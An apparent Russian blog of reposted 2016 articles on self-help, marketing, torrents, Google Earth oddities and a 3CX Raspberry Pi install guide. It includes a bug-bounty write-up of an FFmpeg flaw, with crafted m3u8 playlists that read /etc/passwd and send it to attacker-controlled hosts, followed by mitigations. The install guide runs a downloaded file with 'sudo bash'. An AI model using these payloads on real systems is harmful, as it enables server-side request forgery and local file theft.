вторник, 23 февраля 2016 г.

9 вещей, за которые не стоит извиняться. Никогда! - Лайфхакер

9 вещей, за которые не стоит извиняться. Никогда!

Воспитанные люди так и норовят за что-то извиниться перед окружающими. Пора с этим заканчивать.

Fotokvadrat/Shutterstock.com

Fotokvadrat/Shutterstock.com

Рекомендуем вам прочитать великолепную статью о том, как перестать бояться осуждения окружающих и начать жить своей собственной жизнью. В ней подробнейшим образом рассмотрены причины, по которым людям присуще стремление никогда не выделяться, постоянно сверять своё поведение с коллективным мнением и бояться общественного осуждения.

В этой публикации мы решили подойти к этой проблеме немного с другой стороны и хотим представить вашему вниманию короткую подборку ситуаций, в которых вам точно не стоит извиняться за своё поведение. Воспринимайте это как практическое пособие и руководство к действию.

За то, что вы думаете о себе

Нам с детства столько раз повторяли, что
«Я — это последняя буква алфавита»,
что у многих это отпечаталось на подкорке головного мозга.

ADVERTISEMENT

Для этих людей совершенно естественная забота о себе и о своём благе стала чем-то постыдным и недостойным. Хотя без этого свойства невозможно прожить сколько-нибудь успешную жизнь. Не стоит класть свою жизнь на алтарь самопожертвования, тем более что чаще всего это идёт только во вред «осчастливленным» вами людям.

За выражение своих эмоций

9 вещей, за которые не стоит извиняться. Никогда!

Мы привыкли чувствовать смущение за свои слёзы или смех. Хотя это совершенно естественное проявление того, что у вас есть сердце и душа, которые, возможно, больше, чем у обладателей прилепленной на все времена спокойной гримасы. Вы можете испытывать грусть, веселье, скуку, увлечённость, вы — живой человек. Зачем это скрывать?

За прощение

Способностью к прощению и милосердию обладают только люди с действительно большим сердцем. И пусть вокруг вас удивляются, что вы подаёте руку своим недругам или не добили врага, когда для этого была прекрасная возможность, — вас это волновать не должно. Не проявляйте лишнюю жестокость только из-за того, что кто-то ждёт этого от вас.

За свои убеждения

Человек с убеждениями вызывает уважение. Человек с убеждениями, который не скрывает их и способен встать на их защиту, вызывает уважение вдвойне. Наличие твёрдых принципов в наше время является настолько редким и ценным качеством, что извиняться за них точно не следует.

За свою непохожесть

9 вещей, за которые не стоит извиняться. Никогда!

Это совершенно не странно — быть странным. Странно, наоборот, когда группа людей выглядит, думает и чувствует совершенно одинаково. Если вам повезло быть не таким, как все, то это не повод, чтобы стыдиться этого. Возможно, именно это и является вашим главным достоинством.

За то, как и с кем вы проводите своё время

В принципе, время является той единственной ценностью, которой действительно стоит дорожить. И было бы не слишком благоразумно тратить этот драгоценный ресурс, руководствуясь мнением совершенно посторонних для вас людей.

Лёжа на смертном одре, вы, скорее всего, будете не сожалеть о том, что так мало работали, а вспоминать то время, которое провели с близкими, друзьями, в интересных местах, за любимыми занятиями.

За свои неудачи

О, это любимая фобия множества людей! Страх того, что вы попробуете, у вас не получится и все вокруг будут над вами насмехаться. Они будут помнить об этом вечно, и позор за этот провал будет преследовать вас всю оставшуюся жизнь.

Но прежде чем забиваться в самый тёмный угол, представьте себе такую картину.

Вот вы — человек, который попробовал, но потерпел неудачу.
А вот другой, тот, кто побоялся даже попробовать.
Так кому из вас следует извиняться?

За свою юность

Да, у каждого из нас есть моменты в прошлом, которыми не слишком получается гордиться. Да что там мы, полистайте биографии великих — там такие факты иногда всплывают, что волосы встают дыбом.

Молодость для того и предназначена, чтобы совершать безумства и пробовать эту жизнь на зуб. Все мудрые старики раньше были молоды и глупы, совершали дурацкие поступки и, возможно, именно так и набирались мудрости. Никто не избежал такого пути в своей жизни, так что незачем этого стыдиться.

За внешность

Ещё один источник комплексов для множества людей. Да и как тут не комплексовать, когда обложки модных журналов и индустрия моды навязчиво вдалбливают нам правильные каноны стиля, а соответствовать им получается далеко не у всех.

Да, немодно одетый человек с излишком веса может вызывать улыбки. Но ещё большее внимание привлечёт этот человек, если он станет судорожно комплексовать по поводу своего внешнего вида. Поэтому если ваши отношения с модой и красотой не сложились, то расслабьтесь и забейте. Посмотрите на эту даму, ну разве она не прекрасна?

Постоянные попытки оправдать себя перед окружающими могут привести к тому, что вы упустите уникальный шанс быть самим собой, со всеми своими недостатками и достоинствами. Вы всю свою жизнь проведёте в состоянии глухой обороны, защищаясь от выдуманных претензий общества. Однако вряд ли такая тактика приведёт вас к успеху, ведь побеждает только тот, кто идёт вперёд и не извиняется на каждом шагу за это.



Отправлено с iPhone

воскресенье, 14 февраля 2016 г.

Как получать управляемый поток клиентов в 3 раза дешевле конкурентов?


Как получать управляемый поток клиентов в 3 раза дешевле конкурентов?

Часто расходы на привлечение клиентов (CPO) поедают прибыль. Бизнес работает «в ноль», и чтобы продолжить существование, предприниматель вынужден «сидеть на игле»: включил Директ — есть продажи, выключил — и обращений нет.

За время своей работы компания «Теорема» провела десятки аудитов различных рекламных кампаний, разных тематик и с разными бюджетами. В 9 из 10 случаев есть неиспользованный потенциал для роста и увеличения доходности рекламы (ROI+). Сегодня мы расскажем вам о типичных ошибках, с которыми так или иначе сталкиваются все, кто пользуется сервисом Яндекс.Директ.

пятница, 12 февраля 2016 г.

Опасное видео: как я нашёл уязвимость в видеохостингах и не умер через 7 дней / Блог компании Mail.Ru Group / Хабрахабр


Опасное видео: как я нашёл уязвимость в видеохостингах и не умер через 7 дней



Всем привет! Я Максим Андреев, программист бэкенда Облака Mail.Ru. В свободное время я люблю искать баги. В сегодняшнем посте я хочу рассказать об одной довольно интересной уязвимости, которую я нашёл и зарепортил в bug bounty нескольких крупных компаний, за что получил солидное вознаграждение. Уязвимость заключается в следующем: если сформировать специальный видеофайл и загрузить его на сервер, то:

  • можно получить на нём SSRF;
  • можно получить local file read;
  • если пользователь скачает этот файл, то автоматически будет подвержен уязвимостям, даже если его не откроет: можно будет получить доступ к данным на компьютере пользователя и узнать его имя.


Техническое предисловие




Существует огромное количество кодеков, видео- и аудиоформатов, но иногда бывает нужно получить что-то конкретное, пропустив всё это множество через некоторый чёрный ящик. Например, нам может потребоваться на выходе MP4-видео с заданным качеством либо JPEG-превьюшка. Довольно часто этим чёрным ящиком становится FFmpeg. Это open source набор библиотек и бинарных утилит, он активно развивается, поддерживает большое число аудио- и видеокодеков, поэтому его часто применяют для конвертации видео и генерации thumbnails, как в виде отдельного инструмента, так и в виде отдельных библиотек, используемых сторонними приложениями. Большинство крупных компаний запускают FFmpeg командой из скрипта или какого-то бинарника, делают fork-exec. Так сложилось, что проще из бинарника форкнуться и исполнить FFmpeg-бинарник, чем городить всё это с использованием библиотек.

Создание вредоносного файла


В составе FFmpeg есть консольная утилита ffmpeg. Создадим файл test.avi, который действительно является файлом avi, и скопируем его с двумя другими расширениями: .mov и .123. Если попросить ffmpeg сконвертировать любой из этих файлов, то он без проблем всё выполнит, то есть он не обращает внимания на расширение файла. Но здесь есть одно важное исключение, которое мне очень пригодилось в осуществлении одной из описанных в дальнейшем атак, но об этом чуть позже.

Существует такой формат видео, как HLS (HTTP Live Streaming). Он разработан компанией Apple для передачи потокового видео. Этот формат поддерживает такую приятную штуку, как адаптивный стриминг, то есть изменение качества в процессе проигрывания. Но для нас здесь важно то, что формат состоит из так называемого главного плей-листа, в котором перечислено несколько других плей-листов с каким-то заданным качеством, а уже в этих плей-листах перечислены кусочки видео.



Создадим файл test.mp4, который на самом деле является m3u8 плей-листом HLS:

#EXTM3U  #EXT-X-MEDIA-SEQUENCE:0  #EXTINF:10.0,  http://www.example.org/1.mp4  #EXT-X-ENDLIST  

У него есть заголовок, есть окончание и ссылка, по которой нужно брать кусочек видео. Как мы уже знаем, необязательно присваивать расширение .m3u8, файл может называться test.mp4 или test.mov — ffmpeg всё равно поймёт, что это плей-лист m3u8, и будет интерпретировать его именно как плей-лист. Если прогнать наш test.mp4 через любой из многих миллионов сайтов «конвертировать видео онлайн», то ffmpeg, который используется этим онлайн-конвертером, интерпретирует файл как плей-лист, пройдёт по указанной в нём ссылке и на нашем сервере мы увидим GET-запрос с IP этого онлайн-конвертера:


Запрос от одного из онлайн-конвертеров к нашему серверу

То есть на данный момент у нас уже есть простая SSRF, правда, пока мы не можем читать ответ.

Пойдём дальше. Я упоминал про важное исключение, связанное с расширениями файлов. Предложим ffmpeg сконвертировать текстовый файл file.txt в видеофайл out.mp4. Как вы думаете, что произойдёт в данном случае? В файле out.mp4 будет видео, в котором этот текстовый файл проиграется просто бегущими строками! Получается, мы уже можем красть с этих онлайн-сервисов конвертации любые txt-файлы. Но это нам не очень интересно. Перейдём дальше.

А что, если мы к http url допишем в конце в GET-параметр .txt? Оказывается, ffmpeg подумает, что это текстовый файл и надо интерпретировать ответ как txt. Вот пример запроса к mail.ru:

#EXTM3U  #EXT-X-MEDIA-SEQUENCE:0  #EXTINF:10.0,  http://www.mail.ru/?.txt  #EXT-X-ENDLIST  



HTML-код из ответа проигрывается в полученном видео! То есть в данном случае мы получили возможность с помощью этой SSRF читать ответ на любые сетевые запросы.

Двигаемся дальше. FFmpeg поддерживает огромное количество различных протоколов, в том числе concat. Согласно документации, этот протокол читает бинарный поток данных из нескольких источников, склеивает и в дальнейшем интерпретирует их, как будто они из одного источника.

Давайте разберём на примере. Допустим, у нас есть файл header.m3u8, такой недоделанный плей-лист, в котором написано «example.org?». Сделаем так, чтобы FFmpeg после подачи ему test.avi с помощью протокола concat сформировал хитрый m3u8, содержащий file:///etc/passwd, и отправил это на наш сервер example.org:

файл, размещённый на dx.su/header.m3u8:
#EXTM3U  #EXT-X-MEDIA-SEQUENCE:0  #EXTINF:,  http://example.org?  

test.avi:
#EXTM3U  #EXT-X-MEDIA-SEQUENCE:0  #EXTINF:10.0,  concat:http://dx.su/header.m3u8|file:///etc/passwd  #EXT-X-ENDLIST  



http://example.org?# $FreeBSD: release/10.0.0/et..  

FFmpeg, получив test.avi, возьмёт header.m3u8 и раскроет его как example.org, а из file:///etc/passwd возьмёт первую строчку, сконструирует URL и перейдёт по нему. Таким образом, мы можем получить первую строчку совершенно любого локального файла, которая будет передана по HTTP на наш сервер, если мы контролируем example.org. Существует небольшой трюк, который позволяет нам не только красть первую строчку, но и читать весь файл построчно, — другой протокол с названием subfile. Я не стану здесь это расписывать, но, если вам интересно, посмотрите документацию, там ничего сложного нет.

Рассмотрим другой способ кражи всего файла. Воспользуемся таким же приёмом с concat и возьмём заголовок видеоформата YUV4MPEG2. Это формат без сжатия, с простым текстовым заголовком. Любой поток данных в этом файле интерпретируется как 8 бит на 1 пиксель, то есть 1 байт на 1 пиксель. Возьмём video.mp4, в котором будет сoncat этого header и file:///etc/passwd. Представим, что мы загрузили его на какой-то облачный видеосервис. Скорее всего, вы увидите превьюшку. А для её генерирования, скорее всего, тоже будет как-то использоваться FFmpeg.

Примем ради упрощения, что превьюшка у нас в формате PNG, то есть сжатая без потерь. Попросим ffmpeg сделать thumbnail из якобы MP4-видео video.mp4, которое на самом деле является хитрым плей-листом m3u8:

файл header.y4m:
YUV4MPEG2 W30 H30 F25:1 Ip A0:0 Cmono  FRAME  

файл video.mp4:
#EXTM3U  #EXT-X-MEDIA-SEQUENCE:0  #EXTINF:10.0,  concat:http://dx.su/header.y4m|file:///etc/passwd  #EXT-X-ENDLIST  


ffmpeg -i video.mp4 thumbnail.png  


thumbnail.png

А теперь полученный thumbnail декодируем обратно:

ffmpeg -i thumbnail.png out.y4m  

файл out.y4m:
YUV4MPEG2 W30 H30 F25:1 Ip A0:0 Cmono  FRAME  # $FreeBSD: release/10.0.0/etc/master.passwd 256366  ,! 2013-10-12 06:08:18Z rpaulo $  #  root:*:0:0:Charlie &:/root:/usr/local/bin/zsh  toor:*:0:0:Bourne-again Superuser:/root:  …  

Мы можем увидеть заголовок, который был в header.y4m, а в дальнейшем — полный текст file:///etc/passwd.

Предположим, что мы снова сгенерировали наш вредоносный файл с нужным заголовком, проделали трюк с concat, использовали file:///etc/passwd. Только теперь не загружаем файл на какой-то сервис, а просто отдаём пользователю, чтобы он его скачал и даже не запускал. Если вы пользуетесь, скажем, Kali Linux, то, пока будет генерироваться превьюшка, GStreamer передаст на наш сервер в реферере полный путь этого файла. Так мы можем узнать имя пользователя и какую-нибудь ещё непубличную информацию. А в случае с Ubuntu FFmpeg передаст нам первую строку file:///etc/passwd того пользователя, который просто скачал файл.


Запрос от Kali Linux


Запрос от Ubuntu Linux

В заключение


С помощью такого специально сконструированного видеофайла можно сначала делать просто SSRF-запросы без чтения ответа, читать ответ на любые сетевые запросы, читать локальные файлы, причём несколькими способами. И более того, мы даже можем направить эту атаку против обычных пользователей, которые всего лишь скачали файл, а не против серверов.

Кстати, об этой уязвимости я рассказывал на последнем Security Meetup'е — теперь они регулярно проходят у нас в Mail.Ru Group. Если вы хотите принять участие в одном из следующих и вам есть о чём рассказать, напишите об этом мне, Кариму valievkarim Валиеву или Владимиру z3apa3a Дубровину.

UPD: Как защититься от проблемы при кодировании видео на сервере с помощью ffmpeg:

  1. Запускать ffmpeg в изолированном окружении (в chroot или в контейнере) — обязательно, учитывая, что ffmpeg потенциально содержит много уязвимостей, независимо от описанной в данной статье проблемы (см. googleonlinesecurity.blogspot.ru/2014/01/ffmpeg-and-thousand-fixes.html).
  2. Запускать ffmpeg внутри этого окружения из-под отдельного пользователя с доступом на запись/чтение только туда, куда нужно.
  3. Отключить (--disable-network в configure) или ограничить (в iptables можно делать правила по uid'у пользователя) доступ к сети ffmpeg'у, если полное отключение невозможно.

Разработчики ffmpeg/libav уведомлены о проблеме, я сделал и отправил им патч.                    

среда, 10 февраля 2016 г.

Как решить 5 главных проблем онлайн покупателей / Блог компании TriggMine / Мегамозг


Как решить 5 главных проблем онлайн покупателей

image

Если вы столкнулись с тем, что посетители плохо конвертируются в покупателей и вам не удается продавать столько, сколько вы планировали, скорее всего вы что-то делаете не так.

У каждого покупателя есть свой источник «головной боли» и пока вы не устраните его у себя на сайте, продаж вам не видать.



По статистике 43% всех покупок совершаются под воздействием интернета, НО непосредственно онлайн транзакции составляют всего 9% всего товарооборота. Получается, что люди присматривают, выбирают, сравнивают товары в интернете, но покупать их предпочитают в оффлайне.



На практике, существует огромное количество людей, которые до сих пор предпочитают покупать в реальных магазинах. Ничто не может повлиять на них, ни ваши супер-лояльные цены, ни широчайший выбор товаров, ни простейшая форма оформления заказа…

Так ЧТО же все-таки их останавливает? И ЧТО с этим делать?


1. Это #СЛОЖНО…



Клиенты любят сайты со сложным дизайном (проще говоря «дорогие»), при этом они совсем не любят, чтобы на этих самых сайтах была сложная и непонятная навигация…

Исследования компании Forrester Research доказывают, что 50% клиентов уходят без покупок только потому, что они просто не смогли найти то, что искали…



Посетители вашего сайта не должны учиться тому, как пользоваться вашим сайтом, исходя из того, что вы им навязываете. Весь процесс должен проходить естественно, а навигация — быть интуитивно понятной.

ЧТО делать:

Воспользуйтесь тепловой картой для анализа того, куда ваши клиенты кликают, чтобы найти нужный товар.

Уберите все элементы, которые отвлекают клиента от главной цели — поиска нужного товара и покупки.

image
*Карта кликов Ebay. Источник: www.eyeproved.com

2. Это #СКУЧНО…



Во время покупок онлайн, внимание клиентов такой же, как и при покупках в оживленном торговом центре, где множество магазинов. Оно очень быстро рассеивается, переходит от одного магазина к другому…

Ситуация еще более усугубляется в онлайне тем, что как только посетителю становиться скучно, не интересно — он очень быстро исчезает насовсем…

ЧТО делать:

Добавьте немного жизни на ваш сайт, сделать покупки увлекательными. Для этого существует множество способов:

  1. Геймификация (применение игровых механик)
  2. Интерактивные обзорные видео
  3. Социальная вовлеченность (например, возможность поделиться новостью о новой покупке в социальных сетях)
  4. И еще один важный момент, уделите внимание скорости загрузки вашего сайта. Не у всех клиентов есть доступ к высокоскоростному интернету, а терять из-за этого покупателей не хотелось бы.



По данным компании Kissmetrics, 25% клиентов закроют окно сайта, если он загружается более 4 секунд…


Отличный пример от Dropbox:

image

Они предлагают вам бонус — 250MB дополнительного места на диске за то, что вы выполните несколько простых заданий.

3. Информации о товаре #НЕДОСТАТОЧНО…



Покупатели ненавидят оформлять возврат товара, ненавидят так же, как и продавцы…Поэтому клиенты отказываются от покупки тех товаров, реальный внешний вид которых они не могут представить.

Очень важно описать товар так, чтобы прочитав это описание, клиент понимал что он получит, открыв дома коробку.

Исследование Forrester Research показывает, что 45% клиентов незамедлительно уйдут с сайта, если не смогли найти ответ на свой вопрос…



ЧТО делать:

Добавьте максимально подробное описание товара, характеристики, размеры и т.п… Добавьте как можно больше фотографий с разных ракурсов (можно использоваться 3D изображения), видео-обзор, отзывы других покупателей.

Не лишней будет опция «Сравнить товары», которая поможет клиенту быстрее определиться с выбором.

Отличный пример — описание iPad на сайте компании Apple.

image

4. Руками #НЕ ТРОГАТЬ…




Люди — тактильные существа, поэтому «пощупать» товар для нас очень важно…



Невозможность физически посмотреть, потрогать товары — одна из самых больших проблем онлайн шоппинга. Поэтому, чтобы преодолеть возражения клиентов на эту тему, приходится продавать не просто товар, но и опыт пользования им.

ЧТО делать:

Составьте описание товаров таким образом, чтобы выгодно подчеркнуть каждое преимущество и создать в голове покупателей визуальную картинку, заставить работать воображение.

Недостаточно просто описать характеристики товара, необходимо обязательно добавить информацию о том, какую пользу клиент получит вместе с этим товаром.

Фото, видео и отзывы — MUST HAVE!

Посмотрите, как Bellroy презентует новую модель кошельков:



5. Разбирайтесь #САМИ…



Наличие огромное товарного ассортимента — ключ к доминированию на рынке. Да, это так…

НО психологи говорят о том, что выбор товара среди большого ассортимента, большой стресс для человеческого организма.

Предлагая большой выбор товаров, но не предлагая помощи с выбором, вы обрекаете клиентов на долгосрочные блуждания по категориям и карточкам товаров.



И, как только клиент устанет от всего этого, он незамедлительно уйдет, ничего не купив.

ЧТО делать:

Всегда ставьте себя на место клиентов, чтобы понять о чем они думают, что хотят найти у вас на сайте.

Большинство покупателей, особенно поколение Y, гуляют по сайту, часто даже не зная, что конкретно им нужно…


И это ваш шанс выступить в роли эксперта, помочь подобрать то, что им понравится.

Luna Sandals предлагают своим клиентам онлайн помощник для выбора сандалей:

image

81% клиентов ответили, что они обязательно купят в магазине снова, если остались довольны предыдущим опытом покупки. Поэтому избавление клиентов от «головной боли» во время онлайн покупок, обязательно окупиться в будущем.

Довольные клиенты будут покупать больше и чаще, а главное приводить вам новых покупателей.                    

понедельник, 8 февраля 2016 г.

Installing 3CX (SBC) Session Border Controller for Raspberry Pi


Installing 3CX (SBC) Session Border Controller for Raspberry Pi



  • Installing 3CX SBC (Session Border Controller) for Raspberry Pi


  • Introduction


  • Step 1: Install Raspbian Operating system


  • Step 2: Download and Install 3CX SBC


  • Step 3: Configure 3CX SBC


  • Upgrade SBC

  • Introduction

    The 3CX SBC is deployed to remote offices where there are more than 2 or 3 IP Phones, to direct only their signaling through the 3CX Tunnel and keep the media streams local which reduces the amount of internet bandwidth that local calls between phones use. SBC will bundle all SIP traffic over a single TCP port which simplifies your deployment by reducing firewall configuration. In addition 3CX SBC will add stability & security and allow you to easily manage and provision your IP Phones remotely.


    When purchasing a Raspberry Pi, make sure to purchase the Raspberry Pi 2 Model B which is more performant than it's predecessor (V1) and select the "kit" option which includes a supported SD Card because not all SD cards are compatible.


    The 3CX SBC on a Raspberry PI should be used when the remote office has up to 5 users. If you have more than 5 users, then you need to use the 3CX SBC for Windows.


    Step 1: Install Raspbian Operating system

    1. Assemble your Raspberry Pi, connect it to a monitor using a HDMI cable, plug in to your network and power up the device.
    2. A window titled "NOOBS" will appear. Select Raspbian OS and install. When the installation is completed a menu will come up.
    3. Select option 2 to change the default password. The Default username is "pi" and password "raspberry".
    4. Select option 8 - (Advanced Options) and select the "Hostname" option. Enter a unique hostname for the device.
    5. Enable SSH on the device to be able to connect to it using a SSH client.
    6. From the main menu select "Finish" and select "Yes" to reboot.

    Step 2: Download and Install 3CX SBC



    1. Type the following command to the terminal:  

    'wget http://downloads.3cx.com/downloads/sbc/3cxsbc.zip' and  press "Enter"



    1. Type this command 'sudo bash 3cxsbc.zip' and press "Enter"

    Step 3: Configure 3CX SBC

    Once installed you will be prompted to enter the details for your 3CX Phone System as described above in the Required Details section.


    In this section you are going to need to access the 3CX Management console to get information from there.



    1. Enter "FQDN": You can get this from "Settings" > "Network" > "FQDN Tab".


    1. Enter "Local IP". Enter the IP Address of 3CX Phone System. If 3CX Phone System is behind a NAT enter the local IP. If 3CX Phone System is not behind a NAT (where "ipconfig" will result in a public IP address), then enter the Public IP.


    1. Enter "PBX Port": You can get this from "Settings" >  "Network"> "Ports" tab > "SIP Port" field.


    1. Enter "Tunnel port": located in "Settings" > "Security" > "3CX Tunnel" > "Tunnel Listening port"


    1. Enter "Tunnel Password": which you can get from "Settings" > "Security" > "3CX Tunnel" > "Tunnel Password".


    1. 3CX SBC has the ability to connect your remote office to another standby 3CX Phone System in case the 3CX Primary Server is no longer reachable. If you have failover configured with 3CX Phone System, select option 1: Enable Failover followed by the public ip of the standby failover server. Otherwise choose option 2.


    1. Enable Encryption to add an extra layer of security by encrypting all data and calls passing through the 3CX SBC and the 3CX PBX. This requires 3CXPhone System Version 14 and higher.  

    Upgrade SBC

    If you are already running version of the 3CX SBC installed on your Raspberry Pi you can upgrade as follows:


    • Enter 'sudo apt-get update'
    • Enter 'sudo apt-get install 3cxsbc'
    • Type "N" and press "Enter"

    Your 3CX SBC will update and restart. You can proceed to configure your IP Phones from your 3CX Phone System. 



    Плагин Torrents-Time превратит крупнейшие торрент-трекеры в онлайновые кинотеатры - «Хакер»




    ПЛАГИН TORRENTS-TIME ПРЕВРАТИТ КРУПНЕЙШИЕ ТОРРЕНТ-ТРЕКЕРЫ В ОНЛАЙНОВЫЕ КИНОТЕАТРЫ

    Браузерный плагин Torrents-Time, похоже, пытается совершить небольшую революцию, перевернув современные представления о торрент-трекерах с ног на голову. За основу плагина взята концепция Popcorn Time, только разработчики предлагают внедрить её в любой современный браузер. Плагин позволяет стримить контент с торрент-трекеров и смотреть  фильмы и сериалы прямо в окне браузера. Идея пришлась по душе и администраторам крупнейших трекеров мира. The Pirate Bay уже превратился в крупнейший пиратский кинотеатр, добавив кнопку «Stream It!» ко всем раздачам видео.

    Плагин

    Проект Torrents-Time заработал в первых числах февраля. Плагин поддерживает все основные браузеры и работает как для Windows, так и для Mac.

    Авторы Torrents-Time взяли пример с создателя сайта BrowserPopcorn, который предлагал запускать Popcorn Time прямо в браузере. Но BrowserPopcorn работал не как приложение Popcorn Time, опираясь не на архитектуру BitTorrent, он попросту доставлял пользователям контент посредством HTTP. Так как полосы пропускания не хватало для тысяч пользователей, идея себя не оправдала.

    Torrents-Time действует иначе. Он встраивает торрент-клиент непосредственно в браузер, позволяя проигрывать видео прямо во вкладке обозревателя. По сути, отдельный торрент-клиент вообще не нужен.

    Авторы плагина рассказали изданию TorrentFreak, что Torrents-Time состоит из двух частей: движка торрент-клиента, основанного на Libtorrent (есть поддержка PEX и DHT), и видеоплеера, который команда написала самостоятельно. Сообщается, что плеер использует FFmpeg и «понимает» большинство современных форматов.

    Кроме того, Torrents-Time предлагает пользователям встроенный VPN (в данный момент Anonymous VPN) для полной приватности. На официальном сайте команда сообщает, что также открыта для сотрудничества с другими VPN-провайдерами.

    Революция на трекерах?

    Хотя плагин интересен сам по себе, команда авторов Torrents-Time также пообещала вскоре предоставить администраторам трекеров инструмент, который позволит им превратить свои ресурсы в онлайновые кинотеатры. Разработчики сдержали слово и уже опубликовали все необходимое в репозитории GitHub.

    Важный нюанс: технологию предлагается использовать не только для удобства пользователей, но и как средство монетизации, которое позволит хозяевам трекеров отказаться от размещения на сайте назойливых рекламных баннеров. По замыслу разработчиков, использование Torrents-Time должно привлечь к трекерам внимание «приличных» рекламных сетей. К примеру, трекер может зарабатывать, рекламируя услуги провайдеров VPN.

    Поддержать Torrents-Time сразу же решил один из крупнейших трекеров мира — The Pirate Bay. На страницах «Бухты» появилась бета-версия кнопки «Stream It!», нажатие на которую позволяет пользователям с установленным плагином смотреть видео прямо на странице.

    Если пользователь еще не установил плагин Torrents-Time, после клика по кнопке «Stream It!», ему будет предложено это сделать. Когда плагин установлен, клик приведет к появлению окна видеоплеера. После нажатия на «Play» пользователь сначала увидит рекламу. В данный момент, это услуги VPN-провайдера: баннер сообщает юзеру, что его IP-адрес не скрыт, и предлагает исправить это за скромную сумму.

    Закрыв рекламное объявление, пользователь перейдет к просмотру видео. Сначала заработает встроенный торрент-клиент, подгрузив контент.

    Как только будет обнаружено достаточное количество пиров, и в буфере окажется нужное для старта видео количество контента (как правило, это занимает пару минут), можно приступать к просмотру.

    В данный момент плеер  Torrents-Time предлагает только базовые функции, но имеет поддержку субтитров, а также Chromecast, Airplay и DNLA.

    The Pirate Bay стал лишь «первой ласточкой» в числе крупных ресурсов, которым понравилась идея Torrents-Time. По информации издания TorrentFreak, над внедрением онлайнового вещания уже работают и другие лидирующие трекеры сети: Torrentproject.se, Videomax.is и Online.porntime.ws. Более того, на сегодня самым большим трекером в мире считается KickassTorrents, и его разработчики пообещали добавить функцию Torrents-Time на сайт уже сегодня, 8 февраля 2016 года.

    «Мы уверены, что совсем скоро поддержку Torrents-Time внедрят все торрент-трекеры, которые хотят идти в ногу с эволюцией», — заявляют разработчики Torrent-Time.



    Фото: TorrentFreak

    Самые странные объекты на картах Google Earth | Naked Science


    Самые странные объекты на картах Google Earth

    Таинственный остров


    В 2012 году группа австралийских исследователей обнаружила «неоткрытый» остров размером с Манхэттен (58,8 кв. км) в южной части Тихого океана. Загадочное место получило название остров Сэнди и заняло место на картах к северо-западу от Новой Каледонии. На картах Google он тоже появился, напоминая черную угловатую сосиску. Однако, когда в ноябре 2012-го на место предполагаемого острова прибыли ученые, они обнаружили лишь бескрайние океанские просторы. В своем объяснении, обнародованном в апреле 2013 года, ученые объявили остров «ошибкой», пояснив, что, скорее всего, за остров принималось какое-то скопление или образование, возможно, из пемзы.

     

    ©livescience.com


     

    Озеро крови


    За пределами города Садр в Ираке в точке с координатами 33.396157° северной широты и 44.486926° восточной долготы, судя по картам Google, находится кроваво-красное озеро. Никаких официальных объяснений по поводу происхождения этого объекта нет. В числе неофициальных версий: слив в озеро отходов производства или местных скотобоен, а возможно (и скорее всего), особые бактерии, придающие воде красный оттенок.

     

    ©livescience.com


     

    Муравьиный горошек


    Странный узор в виде горошка в районе вулкана на северной стороне Гранд-Каньона в США получил довольно простое объяснение ученых. Авторами узора оказались красные муравьи-жнецы (Pogonomyrmex barbatus), обитающие в этой пустыне. Они создают гнездовые холмики до 120 см в поперечнике, вокруг которых примерно на 10 кв. м простирается голая земля. Между тем это объяснение, выдвинутое физиком Амелией Каролиной Спаравилья из института в Турине, пока является лишь гипотезой и не получило официального подтверждения.

     

    ©livescience.com


     

    Остров-«матрешка»


    А это – самый большой в мире остров на озере, которое расположено на острове в озере, находящемся на острове. Узкая полоска земли находится в Канаде на небольшом озере, расположенном на другом острове. Он тоже, в свою очередь, находится на озере в 90 км от побережья внутри острова Виктория в Канадском Арктическом архипелаге. По предположениям журналистов, на остров-«матрешку» никогда не ступала нога человека.

     

    ©livescience.com


     

    Кладбище ушедших на покой самолетов


    Авиабаза ВВС США «Девис-Монтен» – это то место, куда прибывают умирать военные самолеты. «Могильник» с координатами 32 08'59.96° северной широты, 110 50'09.03° восточной долготы и площадью более 10 кв. км официально является закрытым для публики, но посмотреть на него все же можно с помощью Google Earth. Здесь содержатся останки многих легендарных самолетов, от B-52 StratoFortress до F-14 Tomcat. Среди нескольких тысяч единиц авиатехники есть и космические корабли, отслужившие свой срок. По некоторым оценкам, общая стоимость находящегося здесь металлолома превышает 35 млрд долларов.

     

    ©livescience.com


     

    Имя на песке


    Шейх, миллиардер и член правящей семьи Абу-Даби Хамад бен Хамдан Аль Нахайян поручил вырезать свое имя на песке принадлежащего ему острова Аль Футаиси (в 8 км от Абу-Даби) в Персидском заливе. Судя по всему, это самая большая надпись на песке в мире. Буквы настолько велики, что взаимодействуют с приливом, заполняясь водой, вместо того, чтобы оказаться смытыми им.

     

    ©livescience.com


     

    Загадочный узор Гоби


    В китайской пустыне Гоби снимки зафиксировали довольно много структур, которым трудно найти объяснение. Одна из них – загадочная сетка правильной формы. Обсуждая снимки, пользователи Интернета, в основном, склонялись к военно-стратегическому происхождению объекта. Смущала площадь узора – порядка 33 км. Однако, скорее всего, это антенна Яги-Уда, она же «волновой канал». Эта антенна состоит из расположенных вдоль линии излучения параллельно друг другу активного и нескольких пассивных вибраторов и применяется в системах радиосвязи и радиолокации.

     

    ©livescience.com


     

    Рекламные создания


    Троллинг карт Google имеет давнюю историю – люди не могут отказать себе в удовольствии разнообразить их пейзажи рукотворными символами. Даже появился особый термин – mapvertising. В результате на склоне холма в Чили можно увидеть крупнейший в мире логотип компании Coca-Cola. При этом утверждается, что он изготовлен из 70 тыс. пустых бутылок из-под газировки. Еще один рекламный креатив обосновался в Неваде – это гигантское изображение символа KFC, полковника Сандерса.

     

    ©livescience.com


     

    «Поцелуй Земли»


    Одним из самых забавных объектов на Google Earth, безусловно, является «поцелуй Земли». Эти необычные холмы, похожие на губы, расположены в суданском Дарфуре и традиционно являются источником остроумных комментариев в Сети. 

     

    ©livescience.com

     
      

    Автор книги «Как я спас брак и разрешил семейные проблемы» получил пожизненный срок за убийство жены


    Автор книги «Как я спас брак и разрешил семейные проблемы» получил пожизненный срок за убийство жены

    Дерек Медина

    5 февраля 33-летний американец Дерек Медина получил пожизненный срок за убийство своей жены. Мужчина прославился тем, что сразу после совершения преступления опубликовал на Фейсбуке снимок трупа своей супруги с подписью «Покойся с миром Дженнифер Алонсо».

    В суде Медина до последнего заявлял, что убийство было совершено в рамках самозащиты. Он говорил, что Дженнифер регулярно била его, а в свой последний день взялась за нож, после чего он был вынужден открыть огонь из пистолета.

    Однако судью эти доводы не убедили, так как Медина не только опубликовал снимок, но и выпустил в супругу целую обойму, хотя для самообороны хватило бы и предупредительного выстрела.

    В своём последнем слове Медина обвинил во всём Барака Обаму и коррупцию.

